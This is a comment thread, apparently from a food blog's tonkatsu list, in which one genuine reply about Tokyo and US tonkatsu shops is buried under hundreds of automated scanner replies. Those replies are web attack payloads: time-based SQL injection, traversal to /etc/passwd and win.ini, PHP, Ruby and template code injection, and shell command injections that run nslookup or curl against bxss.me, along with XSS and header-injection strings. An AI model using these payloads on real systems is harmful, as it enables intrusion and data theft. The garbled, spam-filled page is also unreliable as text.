\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\
re: paul_paulpiwat
'.print(md5(31337)).'
re: paul_paulpiwat
WEB-INF/web.xml
re: paul_paulpiwat
WEB-INF\web.xml
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
-1 OR 2+973-973-1=0+0+0+1 --
re: paul_paulpiwat
-1 OR 3+973-973-1=0+0+0+1 --
re: paul_paulpiwat
-1 OR 2+438-438-1=0+0+0+1
re: paul_paulpiwat
-1 OR 3+438-438-1=0+0+0+1
re: paul_paulpiwat
-1' OR 2+477-477-1=0+0+0+1 --
re: paul_paulpiwat
-1' OR 3+477-477-1=0+0+0+1 --
re: paul_paulpiwat
-1' OR 2+433-433-1=0+0+0+1 or 'tuRLrg8E'='
re: paul_paulpiwat
-1' OR 3+433-433-1=0+0+0+1 or 'tuRLrg8E'='
re: paul_paulpiwat
-1" OR 2+25-25-1=0+0+0+1 --
re: paul_paulpiwat
-1" OR 3+25-25-1=0+0+0+1 --
re: paul_paulpiwat
if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
1 waitfor delay '0:0:15' --
re: paul_paulpiwat
vQOm7Pkn'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-5 OR 744=(SELECT 744 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-5) OR 283=(SELECT 283 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 865=(SELECT 865 FROM PG_SLEEP(15))--
re: paul_paulpiwat
fPERjBox' OR 962=(SELECT 962 FROM PG_SLEEP(15))--
re: paul_paulpiwat
vPCTH184') OR 943=(SELECT 943 FROM PG_SLEEP(15))--
re: paul_paulpiwat
pTKOCh3l')) OR 107=(SELECT 107 FROM PG_SLEEP(15))--
re: paul_paulpiwat
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
1'"
re: paul_paulpiwat
@@LRk7v
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1
re: paul_paulpiwat
1O62GXDQD0
re: paul_paulpiwat
response.write(9799795*9401332)
re: paul_paulpiwat
'+response.write(9799795*9401332)+'
re: paul_paulpiwat
"+response.write(9799795*9401332)+"
re: paul_paulpiwat
<esi:include src="http://bxss.me/rpb.png"/>
re: paul_paulpiwat
../../../../../../../../../../../../../../etc/passwd
re: paul_paulpiwat
${9999835+9999427}
re: paul_paulpiwat
../../../../../../../../../../../../../../windows/win.ini
re: paul_paulpiwat
file:///etc/passwd
re: paul_paulpiwat
../
re: paul_paulpiwat
)
re: paul_paulpiwat
!(()&&!|*|*|
re: paul_paulpiwat
^(#$!@#$)(()))******
re: paul_paulpiwat
redirtest.acx
re: paul_paulpiwat
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
re: paul_paulpiwat
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
re: paul_paulpiwat
ctime
sleep
p0
(I30
tp1
Rp2
.
re: paul_paulpiwat
echo suzysi$()\ vnknfa\nz^xyu||a #' &echo suzysi$()\ vnknfa\nz^xyu||a #|" &echo suzysi$()\ vnknfa\nz^xyu||a #
re: paul_paulpiwat
/etc/shells
re: paul_paulpiwat
&echo npltup$()\ olojqe\nz^xyu||a #' &echo npltup$()\ olojqe\nz^xyu||a #|" &echo npltup$()\ olojqe\nz^xyu||a #
re: paul_paulpiwat
../../../../../../../../../../../../../../etc/shells
re: paul_paulpiwat
'.gethostbyname(lc('hitjd'.'umsdmgdfd94a0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(90).chr(97).chr(65).'
re: paul_paulpiwat
|echo xpcbzm$()\ pcraau\nz^xyu||a #' |echo xpcbzm$()\ pcraau\nz^xyu||a #|" |echo xpcbzm$()\ pcraau\nz^xyu||a #
re: paul_paulpiwat
c:/windows/win.ini
re: paul_paulpiwat
".gethostbyname(lc("hitbv"."mvjcnhpk57f99.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(68).chr(112).chr(80)."
re: paul_paulpiwat
expr 9000352519 - 922231
re: paul_paulpiwat
bxss.me
re: paul_paulpiwat
gethostbyname(lc('hitcv'.'lkpisrwic9950.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(71).chr(110).chr(71)
re: paul_paulpiwat
(nslookup -q=cname hitfkwkkxxzbt4ff51.bxss.me||curl hitfkwkkxxzbt4ff51.bxss.me))
re: paul_paulpiwat
Http://bxss.me/t/fit.txt
re: paul_paulpiwat
$(nslookup -q=cname hitaflmihapub2358a.bxss.me||curl hitaflmihapub2358a.bxss.me)
re: paul_paulpiwat
http://bxss.me/t/fit.txt?.jpg
re: paul_paulpiwat
&nslookup -q=cname hiteawdwlqhcweb5c4.bxss.me&'\"`0&nslookup -q=cname hiteawdwlqhcweb5c4.bxss.me&`'
re: paul_paulpiwat
&(nslookup -q=cname hitmvnjdknptt6e0b2.bxss.me||curl hitmvnjdknptt6e0b2.bxss.me)&'\"`0&(nslookup -q=cname hitmvnjdknptt6e0b2.bxss.me||curl hitmvnjdknptt6e0b2.bxss.me)&`'
re: paul_paulpiwat
|(nslookup -q=cname hitwymecvrddjead96.bxss.me||curl hitwymecvrddjead96.bxss.me)
re: paul_paulpiwat
`(nslookup -q=cname hitcfduunkmpgc93f4.bxss.me||curl hitcfduunkmpgc93f4.bxss.me)`
re: paul_paulpiwat
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
re: paul_paulpiwat
;(nslookup -q=cname hitwnwbbbvkmb2d15c.bxss.me||curl hitwnwbbbvkmb2d15c.bxss.me)|(nslookup -q=cname hitwnwbbbvkmb2d15c.bxss.me||curl hitwnwbbbvkmb2d15c.bxss.me)&(nslookup -q=cname hitwnwbbbvkmb2d15c.bxss.me||curl hitwnwbbbvkmb2d15c.bxss.me)
re: paul_paulpiwat
';print(md5(31337));$a='
re: paul_paulpiwat
|(nslookup${IFS}-q${IFS}cname${IFS}hitnrvjpsmltm00ad4.bxss.me||curl${IFS}hitnrvjpsmltm00ad4.bxss.me)
re: paul_paulpiwat
";print(md5(31337));$a="
re: paul_paulpiwat
HttP://bxss.me/t/xss.html?%00
re: paul_paulpiwat
&(nslookup${IFS}-q${IFS}cname${IFS}hitlwbcvykastfd490.bxss.me||curl${IFS}hitlwbcvykastfd490.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlwbcvykastfd490.bxss.me||curl${IFS}hitlwbcvykastfd490.bxss.me)&`'
re: paul_paulpiwat
${@print(md5(31337))}
re: paul_paulpiwat
bxss.me/t/xss.html?%00
re: paul_paulpiwat
${@print(md5(31337))}\
re: paul_paulpiwat
"+"A".concat(70-3).concat(22*4).concat(109).concat(66).concat(109).concat(73)+(require"socket"
Socket.gethostbyname("hitfc"+"rjypnilk4af38.bxss.me.")[3].to_s)+"
re: paul_paulpiwat
'"()
re: paul_paulpiwat
'.print(md5(31337)).'
re: paul_paulpiwat
'+'A'.concat(70-3).concat(22*4).concat(111).concat(70).concat(108).concat(70)+(require'socket'
Socket.gethostbyname('hituf'+'gfrjlsdif7ac3.bxss.me.')[3].to_s)+'
re: paul_paulpiwat
'&&sleep(27*1000)*ztkypi&&'
re: paul_paulpiwat
'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(99).concat(72)+(require'socket'
Socket.gethostbyname('hitdv'+'riuwpiwp46028.bxss.me.')[3].to_s)
re: paul_paulpiwat
"&&sleep(27*1000)*zkhyxo&&"
re: paul_paulpiwat
'||sleep(27*1000)*ffiwfm||'
re: paul_paulpiwat
"||sleep(27*1000)*majohy||"
re: paul_paulpiwat
'"
re: paul_paulpiwat
replies
re: paul_paulpiwat
<!--
re: paul_paulpiwat
replies
re: paul_paulpiwat
replies/.
re: paul_paulpiwat
'"()&%<zzz><ScRiPt >VMrT(9423)</ScRiPt>
re: paul_paulpiwat
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hittoottvlctr4c636.bxss.me")}}
re: paul_paulpiwat
'"()&%<zzz><ScRiPt >VMrT(9023)</ScRiPt>
re: paul_paulpiwat
9292619
re: paul_paulpiwat
5pO3siUa
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
-1 OR 5*5=25 --
re: paul_paulpiwat
-1 OR 5*5=26 --
re: paul_paulpiwat
-1 OR 5*5=25
re: paul_paulpiwat
-1 OR 5*5=26
re: paul_paulpiwat
*if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 waitfor delay '0:0:15' --
re: paul_paulpiwat
5CVx7R7s'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 OR 322=(SELECT 322 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1) OR 42=(SELECT 42 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 444=(SELECT 444 FROM PG_SLEEP(15))--
re: paul_paulpiwat
b7nBifiC' OR 463=(SELECT 463 FROM PG_SLEEP(15))--
re: paul_paulpiwat
zmCjWQ4o') OR 743=(SELECT 743 FROM PG_SLEEP(15))--
re: paul_paulpiwat
wCnZtfta')) OR 730=(SELECT 730 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
'"
re: paul_paulpiwat
@@KtgXr
re: paul_paulpiwat
(select 198766*667891)
re: paul_paulpiwat
(select 198766*667891 from DUAL)
re: paul_paulpiwat
lN4Qvlpc
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
-1 OR 5*5=25 --
re: paul_paulpiwat
-1 OR 5*5=26 --
re: paul_paulpiwat
-1 OR 5*5=25
re: paul_paulpiwat
-1 OR 5*5=26
re: paul_paulpiwat
*if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 waitfor delay '0:0:15' --
re: paul_paulpiwat
vS3MPADu'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 OR 271=(SELECT 271 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1) OR 255=(SELECT 255 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 522=(SELECT 522 FROM PG_SLEEP(15))--
re: paul_paulpiwat
3udkFW6H' OR 866=(SELECT 866 FROM PG_SLEEP(15))--
re: paul_paulpiwat
rswVsgNU') OR 399=(SELECT 399 FROM PG_SLEEP(15))--
re: paul_paulpiwat
gWbOlwg6')) OR 111=(SELECT 111 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
'"
re: paul_paulpiwat
@@dX1Qd
re: paul_paulpiwat
(select 198766*667891)
re: paul_paulpiwat
(select 198766*667891 from DUAL)
re: paul_paulpiwat
55WUq9cZ
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
-1 OR 5*5=25 --
re: paul_paulpiwat
-1 OR 5*5=26 --
re: paul_paulpiwat
-1 OR 5*5=25
re: paul_paulpiwat
-1 OR 5*5=26
re: paul_paulpiwat
*if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 waitfor delay '0:0:15' --
re: paul_paulpiwat
ZPEBQyeK'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 OR 646=(SELECT 646 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1) OR 834=(SELECT 834 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 137=(SELECT 137 FROM PG_SLEEP(15))--
re: paul_paulpiwat
ehEhiCWj' OR 192=(SELECT 192 FROM PG_SLEEP(15))--
re: paul_paulpiwat
RBzGSQ1Q') OR 439=(SELECT 439 FROM PG_SLEEP(15))--
re: paul_paulpiwat
xEjmJYx3')) OR 666=(SELECT 666 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
'"
re: paul_paulpiwat
@@DoRTf
re: paul_paulpiwat
(select 198766*667891)
re: paul_paulpiwat
(select 198766*667891 from DUAL)
re: paul_paulpiwat
hSRew9ov
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
1*
re: paul_paulpiwat
-1 OR 2+774-774-1=0+0+0+1
re: paul_paulpiwat
-1 OR 3+774-774-1=0+0+0+1
re: paul_paulpiwat
if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
1 waitfor delay '0:0:15' --
re: paul_paulpiwat
ymMeIeDn'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-5 OR 18=(SELECT 18 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-5) OR 945=(SELECT 945 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 373=(SELECT 373 FROM PG_SLEEP(15))--
re: paul_paulpiwat
WpI9n7gb' OR 263=(SELECT 263 FROM PG_SLEEP(15))--
re: paul_paulpiwat
EZnzyKOj') OR 95=(SELECT 95 FROM PG_SLEEP(15))--
re: paul_paulpiwat
l7mKvsdc')) OR 849=(SELECT 849 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
1'"
re: paul_paulpiwat
@@lrtpG
re: paul_paulpiwat
1to7m7z9
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
*1
re: paul_paulpiwat
-1 OR 5*5=25 --
re: paul_paulpiwat
-1 OR 5*5=26 --
re: paul_paulpiwat
-1 OR 5*5=25
re: paul_paulpiwat
-1 OR 5*5=26
re: paul_paulpiwat
*if(now()=sysdate(),sleep(15),0)
re: paul_paulpiwat
0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z
re: paul_paulpiwat
0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z
re: paul_paulpiwat
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: paul_paulpiwat
-1; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1); waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 waitfor delay '0:0:15' --
re: paul_paulpiwat
I7RIMuko'; waitfor delay '0:0:15' --
re: paul_paulpiwat
-1 OR 417=(SELECT 417 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1) OR 450=(SELECT 450 FROM PG_SLEEP(15))--
re: paul_paulpiwat
-1)) OR 912=(SELECT 912 FROM PG_SLEEP(15))--
re: paul_paulpiwat
eZUsgz6t' OR 667=(SELECT 667 FROM PG_SLEEP(15))--
re: paul_paulpiwat
T40HLiST') OR 63=(SELECT 63 FROM PG_SLEEP(15))--
re: paul_paulpiwat
9I7E3HZx')) OR 700=(SELECT 700 FROM PG_SLEEP(15))--
re: paul_paulpiwat
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: paul_paulpiwat
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: paul_paulpiwat
'||(select 1 from (select pg_sleep(15))x)||'
re: paul_paulpiwat
''||(select 1 from (select pg_sleep(15))x)||''
re: paul_paulpiwat
'"
re: paul_paulpiwat
@@9Mnrh
re: paul_paulpiwat
(select 198766*667891)
re: paul_paulpiwat
(select 198766*667891 from DUAL)
Great list! Of the places that I have tried, my personal favorites are Tonta and Marugo. Their completely different styles make it very hard to choose just one as an overall favorite. There's just something about the breading and frying at Marugo that I find addictive, but I think that the meat and soup at Tonta are a little higher. It sounds strange to say but these days I think tonkatsu is the cuisine with perhaps the biggest gap between the best of Tokyo and what we are able to enjoy in the US, which means I crave it constantly! The only high quality tonkatsu I have ever found here is Tamafuji in Honolulu. At least here in the Bay Area there is nothing that can come close to a good place in Tokyo.
re: mirugai
yVgnQHxY
re: mirugai
1*
re: mirugai
1*
re: mirugai
1*
re: mirugai
1*
re: mirugai
-1 OR 2+116-116-1=0+0+0+1
re: mirugai
-1 OR 3+116-116-1=0+0+0+1
re: mirugai
if(now()=sysdate(),sleep(15),0)
re: mirugai
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: mirugai
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: mirugai
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: mirugai
-1; waitfor delay '0:0:15' --
re: mirugai
-1); waitfor delay '0:0:15' --
re: mirugai
1 waitfor delay '0:0:15' --
re: mirugai
RvQJHMSf'; waitfor delay '0:0:15' --
re: mirugai
-5 OR 433=(SELECT 433 FROM PG_SLEEP(15))--
re: mirugai
-5) OR 272=(SELECT 272 FROM PG_SLEEP(15))--
re: mirugai
-1)) OR 804=(SELECT 804 FROM PG_SLEEP(15))--
re: mirugai
9M9GMxZn' OR 695=(SELECT 695 FROM PG_SLEEP(15))--
re: mirugai
yr5NPdxT') OR 816=(SELECT 816 FROM PG_SLEEP(15))--
re: mirugai
MgC1QCF7')) OR 43=(SELECT 43 FROM PG_SLEEP(15))--
re: mirugai
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: mirugai
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: mirugai
'||(select 1 from (select pg_sleep(15))x)||'
re: mirugai
''||(select 1 from (select pg_sleep(15))x)||''
re: mirugai
1'"
re: mirugai
@@ottyg
re: mirugai
NCu1DY6H
re: mirugai
1*
re: mirugai
1*
re: mirugai
1*
re: mirugai
1*
re: mirugai
-1 OR 2+313-313-1=0+0+0+1
re: mirugai
-1 OR 3+313-313-1=0+0+0+1
re: mirugai
if(now()=sysdate(),sleep(15),0)
re: mirugai
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
re: mirugai
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
re: mirugai
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
re: mirugai
-1; waitfor delay '0:0:15' --
re: mirugai
-1); waitfor delay '0:0:15' --
re: mirugai
1 waitfor delay '0:0:15' --
re: mirugai
QG9gfuCQ'; waitfor delay '0:0:15' --
re: mirugai
-5 OR 45=(SELECT 45 FROM PG_SLEEP(15))--
re: mirugai
-5) OR 301=(SELECT 301 FROM PG_SLEEP(15))--
re: mirugai
-1)) OR 441=(SELECT 441 FROM PG_SLEEP(15))--
re: mirugai
vaVy4at5' OR 244=(SELECT 244 FROM PG_SLEEP(15))--
re: mirugai
7UqYxu9X') OR 862=(SELECT 862 FROM PG_SLEEP(15))--
re: mirugai
Gcq8BLCd')) OR 695=(SELECT 695 FROM PG_SLEEP(15))--
re: mirugai
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
re: mirugai
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
re: mirugai
'||(select 1 from (select pg_sleep(15))x)||'
re: mirugai
''||(select 1 from (select pg_sleep(15))x)||''
re: mirugai
1'"
re: mirugai
@@no5eh
re: mirugai
1KbxABLO
re: mirugai
%0abcc:074625.67-10238.67.0fe40.19990.2@bxss.me
re: mirugai
response.write(9972505*9458919)
re: mirugai
to@example.com>%0d%0abcc:074625.67-10239.67.0fe40.19990.2@bxss.me
re: mirugai
'+response.write(9972505*9458919)+'
re: mirugai
"+response.write(9972505*9458919)+"
re: mirugai
<esi:include src="http://bxss.me/rpb.png"/>
re: mirugai
../../../../../../../../../../../../../../etc/passwd
re: mirugai
${9999645+9999988}
re: mirugai
../../../../../../../../../../../../../../windows/win.ini
re: mirugai
file:///etc/passwd
re: mirugai
../../../../../../../../../../../../../../../proc/version
re: mirugai
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
re: mirugai
../../../../../../../../../../etc/passwd%00.jpg
re: mirugai
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
re: mirugai
'.gethostbyname(lc('hitxv'.'zkycgyhqaf22d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(70).chr(97).chr(83).'
re: mirugai
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
re: mirugai
)
re: mirugai
".gethostbyname(lc("hitmb"."ryvwvjgmcaa51.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(90).chr(97).chr(75)."
re: mirugai
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
re: mirugai
!(()&&!|*|*|
re: mirugai
/etc/passwd
re: mirugai
^(#$!@#$)(()))******
re: mirugai
echo uretss$()\ texeau\nz^xyu||a #' &echo uretss$()\ texeau\nz^xyu||a #|" &echo uretss$()\ texeau\nz^xyu||a #
re: mirugai
%2fetc%2fpasswd
re: mirugai
&echo vdmtxf$()\ ybdnpj\nz^xyu||a #' &echo vdmtxf$()\ ybdnpj\nz^xyu||a #|" &echo vdmtxf$()\ ybdnpj\nz^xyu||a #
re: mirugai
/.././.././.././.././.././.././.././../etc/./passwd%00
re: mirugai
|echo obylna$()\ ejmxcq\nz^xyu||a #' |echo obylna$()\ ejmxcq\nz^xyu||a #|" |echo obylna$()\ ejmxcq\nz^xyu||a #
re: mirugai
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
re: mirugai
(nslookup hitnwjbgfuuas321da.bxss.me||perl -e "gethostbyname('hitnwjbgfuuas321da.bxss.me')")
re: mirugai
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
re: mirugai
$(nslookup hitwllqbiaoil8f494.bxss.me||perl -e "gethostbyname('hitwllqbiaoil8f494.bxss.me')")
re: mirugai
../././../././../././../././../././../././../././../././../././../././etc/passwd
re: mirugai
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
re: mirugai
&nslookup hitmwnshoczlc68b98.bxss.me&'\"`0&nslookup hitmwnshoczlc68b98.bxss.me&`'
re: mirugai
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
re: mirugai
HttP://bxss.me/t/xss.html?%00
re: mirugai
